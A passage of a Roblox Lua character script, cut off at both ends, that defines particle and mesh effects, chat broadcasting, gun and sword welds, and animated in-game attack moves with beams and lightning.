or 1) local CFRAME = (Table.CFrame or Torso.CFrame) local MOVEDIRECTION = (Table.MoveToPos or nil) local ROTATION1 = (Table.RotationX or 0) local ROTATION2 = (Table.RotationY or 0) local ROTATION3 = (Table.RotationZ or 0) local MATERIAL = (Table.Material or "Neon") local COLOR = (Table.Color or C3(1,1,1)) local TIME = (Table.Time or 45) local SOUNDID = (Table.SoundID or nil) local SOUNDPITCH = (Table.SoundPitch or nil) local SOUNDVOLUME = (Table.SoundVolume or nil) coroutine.resume(coroutine.create(function() local PLAYSSOUND = false local SOUND = nil local EFFECT = CreatePart(3, Effects, MATERIAL, 0, TRANSPARENCY, BRICKC("Pearl"), "Effect", VT(1,1,1), true) if SOUNDID ~= nil and SOUNDPITCH ~= nil and SOUNDVOLUME ~= nil then PLAYSSOUND = true SOUND = CreateSound(SOUNDID, EFFECT, SOUNDVOLUME, SOUNDPITCH, false) end EFFECT.Color = COLOR local MSH = nil if TYPE == "Sphere" then MSH = CreateMesh("SpecialMesh", EFFECT, "Sphere", "", "", SIZE, VT(0,0,0)) elseif TYPE == "Block" then MSH = IT("BlockMesh",EFFECT) MSH.Scale = VT(SIZE.X,SIZE.X,SIZE.X) elseif TYPE == "Wave" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "20329976", "", SIZE, VT(0,0,-SIZE.X/8)) elseif TYPE == "Lightning" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "5655974069", "", SIZE, VT(0,0,0)) elseif TYPE == "Ring" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1236145839", "", VT(SIZE.X,1,SIZE.X), VT(0,0,0)) elseif TYPE == "Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662586858", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Round Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662585058", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Swirl" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1051557", "", SIZE, VT(0,0,0)) elseif TYPE == "Skull" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "4770583", "", SIZE, VT(0,0,0)) elseif TYPE == "Crystal" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "471124085", "", SIZE, VT(0,0,0)) elseif TYPE == "Wave" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "20329976", "", SIZE, VT(0,0,-SIZE.X/8)) elseif TYPE == "Ring" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1236145839", "", VT(0.1,0.1,0.1), VT(0,0,0)) elseif TYPE == "Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662586858", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Round Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662585058", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Swirl" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1051557", "", SIZE, VT(0,0,0)) elseif TYPE == "Skull" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "4770583", "", SIZE, VT(0,0,0)) elseif TYPE == "Crystal" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "471124085", "", SIZE, VT(0,0,0)) elseif TYPE == "Hat" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "173774068", "", SIZE, VT(0,0,0)) elseif TYPE == "Arm" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "2828256740", "", SIZE, VT(0,0,0)) elseif TYPE == "torso" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "48112070", "", SIZE, VT(0,0,0)) elseif TYPE == "Head" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "539723444", "", SIZE, VT(0,0,0)) end if MSH ~= nil then local MOVESPEED = nil if MOVEDIRECTION ~= nil then MOVESPEED = (CFRAME.p - MOVEDIRECTION).Magnitude/TIME end local GROWTH = SIZE - ENDSIZE local TRANS = TRANSPARENCY - ENDTRANSPARENCY if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = CFRAME end for LOOP = 1, TIME+1 do Swait() MSH.Scale = MSH.Scale - GROWTH/TIME if TYPE == "Wave" then MSH.Offset = VT(0,0,-MSH.Scale.X/8) end EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = EFFECT.CFrame*ANGLES(RAD(ROTATION1),RAD(ROTATION2),RAD(ROTATION3)) end if MOVEDIRECTION ~= nil then local ORI = EFFECT.Orientation EFFECT.CFrame = CF(EFFECT.Position,MOVEDIRECTION)*CF(0,0,-MOVESPEED) EFFECT.Orientation = ORI end end if PLAYSSOUND == false then EFFECT:remove() else SOUND.Stopped:Connect(function() EFFECT:remove() end) end else if PLAYSSOUND == false then EFFECT:remove() else repeat Swait() until SOUND.Playing == false EFFECT:remove() end end end)) end function MakeForm(PART,TYPE) if TYPE == "Cyl" then local MSH = IT("CylinderMesh",PART) elseif TYPE == "Ball" then local MSH = IT("SpecialMesh",PART) MSH.MeshType = "Sphere" elseif TYPE == "Wedge" then local MSH = IT("SpecialMesh",PART) MSH.MeshType = "Wedge" end end function SpawnTrail(FROM,TO,BIG) local TRAIL = CreatePart(3, Effects, "Neon", 0, 0.5, "Really red", "Trail", VT(0,0,0)) MakeForm(TRAIL,"Cyl") local DIST = (FROM - TO).Magnitude if BIG == true then TRAIL.Size = VT(0.5,DIST,0.5) else TRAIL.Size = VT(0.25,DIST,0.25) end TRAIL.CFrame = CF(FROM, TO) * CF(0, 0, -DIST/2) * ANGLES(RAD(90),RAD(0),RAD(0)) coroutine.resume(coroutine.create(function() for i = 1, 5 do Swait() TRAIL.Transparency = TRAIL.Transparency + 0.1 end TRAIL:remove() end)) end Debris = game:GetService("Debris") debris = Debris function CastProperRay(StartPos, EndPos, Distance, Ignore) local DIRECTION = CF(StartPos,EndPos).lookVector return Raycast(StartPos, DIRECTION, Distance, Ignore) end function turnto(position) RootPart.CFrame=CFrame.new(RootPart.CFrame.p,VT(position.X,RootPart.Position.Y,position.Z)) * CFrame.new(0, 0, 0) end local function FixLightning() for i, v in pairs(game.Lighting:GetChildren()) do if v.ClassName == "BlurEffect" or v.ClassName == "BloomEffect" or v.ClassName == "ColorCorrectionEffect" or v.ClassName == "SunRaysEffect" or v.ClassName == "Sky" then v:Destroy() end end game.Lighting.FogEnd = 1000000000000000000000000 game.Lighting.ClockTime = 14 game.Lighting.Brightness = 2 game.Lighting.TimeOfDay = 14 game.Lighting.OutdoorAmbient = Color3.new(1, 1, 1) end function SendMessage(StarterText,Text) for _,v in pairs(game:GetService("Players"):GetPlayers()) do local ClientMessage = script.Message:Clone() ClientMessage.Name = StarterText local ClientText = Instance.new("StringValue") ClientText.Value = Text ClientText.Parent = ClientMessage ClientMessage.Disabled = false ClientMessage.Parent = v:FindFirstChildOfClass("PlayerGui") or v:FindFirstChildOfClass("Backpack") or Instance.new("Backpack",v) game:GetService("Debris"):AddItem(ClientMessage,5) end end function FireArc(Part,ToLocation,AmountOfTime,Height,DoesCourontine) if DoesCourontine == false then local Direction = CFrame.new(Part.Position,ToLocation) local Distance = (Part.Position - ToLocation).Magnitude for i = 1,AmountOfTime do swait() Part.CFrame = Direction*CFrame.new(0,(AmountOfTime/200)+((AmountOfTime/Height)-((i*2)/Height)),-Distance/AmountOfTime) Direction = Part.CFrame end elseif DoesCourontine == true then coroutine.resume(coroutine.create(function() local Direction = CFrame.new(Part.Position,ToLocation) local Distance = (Part.Position - ToLocation).Magnitude for i = 1,AmountOfTime do swait() Part.CFrame = Direction*CFrame.new(0,(AmountOfTime/200)+((AmountOfTime/Height)-((i*2)/Height)),-Distance/AmountOfTime) Direction = Part.CFrame end end)) end end function rayCast(Position,Direction,Range,Ignore) return workspace:FindPartOnRay(Ray.new(Position,Direction.unit * (Range or 999.999)),Ignore) end local function SkiddedSendMessage(StarterText,Text) for _,v in pairs(game:GetService("Players"):GetPlayers()) do local ClientMessage = script.SkiddedMessage:Clone() ClientMessage.Name = StarterText local ClientText = Instance.new("StringValue") ClientText.Value = Text ClientText.Parent = ClientMessage ClientMessage.Disabled = false ClientMessage.Parent = v:FindFirstChildOfClass("PlayerGui") or v:FindFirstChildOfClass("Backpack") or Instance.new("Backpack",v) game:GetService("Debris"):AddItem(ClientMessage,5) end end local Chatted = Player.Chatted:Connect(function(Message) if mde ~= 27 or mde ~= 30 then local Message,Message_ = Message,Message if string.sub(Message,1,3) == "/e " then Message = string.sub(Message,4) end if string.sub(string.lower(Message),1,3) == "lc/" then Message = string.sub(Message,4) end if Message == Message_ then SendMessage("["..Player.Name.."]: ",Message) end end end) local Chatted = Player.Chatted:Connect(function(Message) if mde == 27 or mde == 30 then local Message,Message_ = Message,Message if string.sub(Message,1,3) == "/e " then Message = string.sub(Message,4) end if string.sub(string.lower(Message),1,3) == "lc/" then Message = string.sub(Message,4) end if Message == Message_ then SkiddedSendMessage("["..Player.Name.."]: ",Message) end end end) function WACKYEFFECTa(Table) local TYPE = (Table.EffectType or "Sphere") local SIZE = (Table.Size or VT(1,1,1)) local ENDSIZE = (Table.Size2 or VT(0,0,0)) local TRANSPARENCY = (Table.Transparency or 0) local ENDTRANSPARENCY = (Table.Transparency2 or 1) local CFRAME = (Table.CFrame or Torso.CFrame) local MOVEDIRECTION = (Table.MoveToPos or nil) local ROTATION1 = (Table.RotationX or 0) local ROTATION2 = (Table.RotationY or 0) local ROTATION3 = (Table.RotationZ or 0) local MATERIAL = (Table.Material or "Neon") local COLOR = (Table.Color or C3(1,1,1)) local TIME = (Table.Time or 45) local SOUNDID = (Table.SoundID or nil) local SOUNDPITCH = (Table.SoundPitch or nil) local SOUNDVOLUME = (Table.SoundVolume or nil) coroutine.resume(coroutine.create(function() local PLAYSSOUND = false local SOUND = nil local EFFECT = CreatePart(3, Effects, MATERIAL, 0, TRANSPARENCY, BRICKC("Pearl"), "Effect", VT(1,1,1), true) if SOUNDID ~= nil and SOUNDPITCH ~= nil and SOUNDVOLUME ~= nil then PLAYSSOUND = true SOUND = CreateSound(SOUNDID, EFFECT, SOUNDVOLUME, SOUNDPITCH, false) end EFFECT.Color = COLOR local MSH = nil if TYPE == "Sphere" then MSH = CreateMesh("SpecialMesh", EFFECT, "Sphere", "", "", SIZE, VT(0,0,0)) elseif TYPE == "Block" then MSH = IT("BlockMesh",EFFECT) MSH.Scale = VT(SIZE.X,SIZE.X,SIZE.X) elseif TYPE == "Wave" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "20329976", "", SIZE, VT(0,0,-SIZE.X/8)) elseif TYPE == "Ring" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "559831844", "", VT(SIZE.X,SIZE.X,0.1), VT(0,0,0)) elseif TYPE == "Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662586858", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Round Slash" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "662585058", "", VT(SIZE.X/10,0,SIZE.X/10), VT(0,0,0)) elseif TYPE == "Swirl" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "1051557", "", SIZE, VT(0,0,0)) elseif TYPE == "Skull" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "4770583", "", SIZE, VT(0,0,0)) elseif TYPE == "Crystal" then MSH = CreateMesh("SpecialMesh", EFFECT, "FileMesh", "471124085", "", SIZE, VT(0,0,0)) end if MSH ~= nil then local MOVESPEED = nil if MOVEDIRECTION ~= nil then MOVESPEED = (CFRAME.p - MOVEDIRECTION).Magnitude/TIME end local GROWTH = SIZE - ENDSIZE local TRANS = TRANSPARENCY - ENDTRANSPARENCY if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = CFRAME end for LOOP = 1, TIME+1 do Swait() MSH.Scale = MSH.Scale - GROWTH/TIME if TYPE == "Wave" then MSH.Offset = VT(0,0,-MSH.Scale.X/8) end EFFECT.Transparency = EFFECT.Transparency - TRANS/TIME if TYPE == "Block" then EFFECT.CFrame = CFRAME*ANGLES(RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360)),RAD(MRANDOM(0,360))) else EFFECT.CFrame = EFFECT.CFrame*ANGLES(RAD(ROTATION1),RAD(ROTATION2),RAD(ROTATION3)) end if MOVEDIRECTION ~= nil then local ORI = EFFECT.Orientation EFFECT.CFrame = CF(EFFECT.Position,MOVEDIRECTION)*CF(0,0,-MOVESPEED) EFFECT.Orientation = ORI end end if PLAYSSOUND == false then EFFECT:remove() else SOUND.Stopped:Connect(function() EFFECT:remove() end) end else if PLAYSSOUND == false then EFFECT:remove() else repeat Swait() until SOUND.Playing == false EFFECT:remove() end end end)) end --//=================================\\ --|| WEAPON CREATION --\\=================================// local CreatorName = "ExoticCult" local GUN = script:FindFirstChild("M82A1") local GUN = GUN:Clone() GUN.Parent = Character local GunJoint = CreateWeldOrSnapOrMotor("Weld", GUN.Handle, RightArm, GUN.Handle, CF(.05,-1,-.15)*ANGLES(RAD(-90),RAD(0),RAD(0)), CF(0, 0, 0)) local Hole = GUN.Hole local Holetwo = GUN.Hole2 local shade = GUN.NeonParts.Color local SWORD = script:FindFirstChild("ShadowSword") local Blade = SWORD:Clone() Blade.Parent = nil local SwordJoint = CreateWeldOrSnapOrMotor("Weld", Blade.Handle, RightArm, Blade.Handle, CF(0, -1, 0)*ANGLES(RAD(90),RAD(0),RAD(0)), CF(0, 0, 0)) local BLADEAAAA = Blade.SlashPart local SDGUN = script:WaitForChild("GUN") local GUNA = SDGUN:Clone() GUNA.Parent = Character local GunJoint2 = CreateWeldOrSnapOrMotor("Weld", GUNA.Handle, RightArm, GUNA.Handle, CF(.05,-1,-.15)*ANGLES(RAD(-180),RAD(-180),RAD(0)), CF(0, 0, 0)) local ShadedFolder = IT("Model",Character) ShadedFolder.Name = "Shaded" ShadedFolder.Parent = nil for i = 1, 10 do local FACE = CreatePart(3, ShadedFolder, "Fabric", 0, 0+(i-1)/10.2, "Really black", "FaceGradient", VT(1.01,0.65,1.01),false) FACE.Color = C3() Head:FindFirstChildOfClass("SpecialMesh"):Clone().Parent = FACE CreateWeldOrSnapOrMotor("Weld", Head, Head, FACE, CF(0,0.25-(i-1)/40,0), CF(0, 0, 0)) end EYE = CreatePart(3, ShadedFolder, "Neon", 0, 0, "Institutional white", "Eyeball", VT(0.2,0.2,0.2),false) MakeForm(EYE,"Ball") CreateWeldOrSnapOrMotor("Weld", Head, Head, EYE, CF(0.15,0.23,-0.55), CF(0, 0, 0)) local hitb = Instance.new("Part", Character) hitb.Anchored = true hitb.CanCollide = false hitb.FormFactor = 3 hitb.Name = "Ring" hitb.Material = "Neon" hitb.Size = Vector3.new(1, 1, 1) hitb.Transparency = 1 hitb.TopSurface = 0 hitb.BottomSurface = 0 TEXTCOLOR = orangecolorrandom if MRANDOM(1,2)==1 then TEXTCOLOR = orangecolorrandom elseif MRANDOM(1,2)==2 then TEXTCOLOR = bluecolorrandom end hitb.CFrame = RootPart.CFrame*CF(MRANDOM(-9,9),MRANDOM(-9,9),MRANDOM(-9,9)) local chat = script.t chat.Parent = nil local chatweld = CreateWeldOrSnapOrMotor("Weld", RootPart, RootPart, chat, CF(0, 0, 0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 1)) chat.Parent = nil chat.CanCollide = false chat.Archivable = false surfacegui = chat.chat chatinput = surfacegui.input chatbox = surfacegui.chatbox local ModeName = surfacegui.ModeName ModeName.Text = "Mode: None" local chat2 = script.t2 chat2.Parent = nil local chatweld2 = CreateWeldOrSnapOrMotor("Weld", RootPart, RootPart, chat2, CF(0, 0, 0) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 1)) chat2.Parent = nil chat2.CanCollide = false chat2.Archivable = false surfacegui2 = chat2.chat chatinput2 = surfacegui2.input SK1 = surfacegui2.SK1 SK2 = surfacegui2.SK2 --//=================================\\ --|| DAMAGING --\\=================================// function dmg(dude) end function mdmg(Part,Magnitude) end local USERNAME = Player.Name local Parents = {"Workspace","SoundService","Chat","MarketplaceService","Players","StarterPlayer","LocalizationService","JointsService","FriendService","InsertService","Lighting","Teams","ReplicatedStorage","TestService","ProximityPromptService"} function shieldmg(centerofeffect,range,Foe) end --//=================================\\ --|| ATTACK FUNCTIONS AND STUFF --\\=================================// function attackone() if GUN.Parent == nil then return end ATTACK = true AttackGyro() for i = 0,.5,.05 do swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,2 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(30)),.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new() * CFrame.Angles(math.rad(15),math.rad(0),math.rad(-30)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(30)) * rscp,1/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(30),math.rad(0),math.rad(0)) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),math.rad(0),math.rad(0)),1 / 2) end Effect({Time = 25,EffectType = "Ring",Size = Vector3.new(),Size2 = Vector3.new(1,1,1),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1, 1, 1),SoundID = 6150717352,SoundPitch = .4,SoundVolume = 10,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) Effect({Time = 25,EffectType = "Ring",Size = Vector3.new(),Size2 = Vector3.new(1,1,1),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) for i = 0,2 do Effect({Time = math.random(25,50),EffectType = "Wave",Size = Vector3.new(),Size2 = Vector3.new(4,0,4),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) Effect({Time = math.random(25,50),EffectType = "Wave",Size = Vector3.new(),Size2 = Vector3.new(4,0,4),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) end local mousehit = Mouse.Hit local DISTANCE = (Holetwo.Position - mousehit.p).Magnitude local killbeam = CreatePart(3,Effects,"Neon",0,0,Color3.new(1,1,1),"Kill Beam",Vector3.new(1,DISTANCE,1)) killbeam.CFrame = CFrame.new(Holetwo.Position,mousehit.p) * CFrame.new(0,0,-DISTANCE/2) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)) MakeForm(killbeam,"Cyl") coroutine.resume(coroutine.create(function() for i = 1,25 do swait() killbeam.Transparency = i/25 end killbeam:Destroy() end)) for i = 1,4 do coroutine.resume(coroutine.create(function() Lightning(Holetwo.Position,mousehit.p,15,3.5,Color3.new(0, 0, 0),25,0,1,0,true,55) end)) end coroutine.resume(coroutine.create(function() Lightning(Holetwo.Position,mousehit.p,15,3.5,Color3.new(1, 1, 1),25,0,1,0,true,55) Effect({Time = 25,EffectType = "Ring",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = mousehit,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0,0,0),SoundID = 6150717352,SoundPitch = .4,SoundVolume = 10,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) Effect({Time = 25,EffectType = "Ring",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = mousehit,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) for i = 0,2 do Effect({Time = math.random(25,50),EffectType = "Wave",Size = Vector3.new(),Size2 = Vector3.new(5,0,5),Transparency = 0,Transparency2 = 1,CFrame = mousehit*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) Effect({Time = math.random(25,50),EffectType = "Wave",Size = Vector3.new(),Size2 = Vector3.new(5,0,5),Transparency = 0,Transparency2 = 1,CFrame = mousehit*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) end mdmg(mousehit.p,10) end)) for i = 0,.5,.075 do Swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,2 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(30)),.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new() * CFrame.Angles(math.rad(10),math.rad(0),math.rad(-60)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(160),math.rad(-20),math.rad(60)) * rscp,1/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(40),math.rad(5),math.rad(5)) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),math.rad(0),math.rad(0)),1 / 2) end ATTACK = false end function attackone2() if GUN.Parent == nil then return end ATTACK = true AttackGyro() for i = 0,.5,.05 do swait() RootJoint.C0 = Clerp(RootJoint.C0,ROOTC0 * CFrame.new(0 + .5 * math.cos(sine/50),0,2 - .5 * math.sin(sine/50)) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(30)),.7/3) Neck.C0 = Clerp(Neck.C0,nc0 * CFrame.new() * CFrame.Angles(math.rad(15),math.rad(0),math.rad(-30)),1/3) RightShoulder.C0 = Clerp(RightShoulder.C0,CFrame.new(1.5,.5,0) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(30)) * rscp,1/3) LeftShoulder.C0 = Clerp(LeftShoulder.C0,CFrame.new(-1.5,.5,0) * CFrame.Angles(math.rad(30),math.rad(0),math.rad(0)) * lscp,1/3) RightHip.C0 = Clerp(RightHip.C0,CFrame.new(1,-.5,-.5) * CFrame.Angles(math.rad(-15 + 9 * math.cos(sine/74)),math.rad(80),math.rad(0)) * CFrame.Angles(math.rad(0 + 5 * math.cos(sine/37)),math.rad(0),math.rad(0)),.7/3) LeftHip.C0 = Clerp(LeftHip.C0,CFrame.new(-1,-1,0) * CFrame.Angles(math.rad(-15 - 9 * math.cos(sine/54)),math.rad(-80),math.rad(0)) * CFrame.Angles(math.rad(0 - 5 * math.cos(sine/41)),math.rad(0),math.rad(0)),.7/3) GunJoint.C0 = Clerp(GunJoint.C0,CFrame.new(.05,-1,-.15) * CFrame.Angles(math.rad(-106.3-.9*math.cos(sine/12)),math.rad(0),math.rad(0)),1 / 2) end Effect({Time = 25,EffectType = "Box",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1, 1, 1),SoundID = 6150717352,SoundPitch = .2,SoundVolume = 10,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) CamShakeAll(50,200) Effect({Time = 25,EffectType = "Box",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 50}) for i = 0,2 do Effect({Time = math.random(25,50),EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0, 0, 0),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) Effect({Time = math.random(25,50),EffectType = "Round Slash",Size = Vector3.new(),Size2 = Vector3.new(.1,0,.1),Transparency = 0,Transparency2 = 1,CFrame = Holetwo.CFrame*CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360))),MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(1,1,1),SoundID = nil,SoundPitch = nil,SoundVolume = nil,UseBoomerangMath = true,Boomerang = 0,SizeBoomerang = 15}) end local mousehit = Mouse.Hit local DISTANCE = (Holetwo.Position - mousehit.p).Magnitude local killbeam = CreatePart(3,Effects,"Neon",0,0,Color3.new(1,1,1),"Kill Beam",Vector3.new(1,DISTANCE,1)) killbeam.CFrame = CFrame.new(Holetwo.Position,mousehit.p) * CFrame.new(0,0,-DISTANCE/2) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(0)) MakeForm(killbeam,"Cyl") coroutine.resume(coroutine.create(function() for i = 1,25 do swait() killbeam.Transparency = i/25 end killbeam:Destroy() end)) for i = 1,4 do coroutine.resume(coroutine.create(function() Lightning(Holetwo.Position,mousehit.p,15,3.5,Color3.new(0, 0, 0),25,0,1,0,true,55) end)) end coroutine.resume(coroutine.create(function() Lightning(Holetwo.Position,mousehit.p,15,3.5,Color3.new(1, 1, 1),25,0,1,0,true,55) Effect({Time = 25,EffectType = "Box",Size = Vector3.new(),Size2 = Vector3.new(3,3,3),Transparency = 0,Transparency2 = 1,CFrame = mousehit,MoveToPos = nil,RotationX = math.random(-1,1),RotationY = math.random(-1,1),RotationZ = math.random(-1,1),Material = "Neon",Color = Color3.new(0,0,0),SoundID = 6150717352,SoundPitch = .2,SoundVolume = 10,UseBoomerangMath = true,Boomerang = 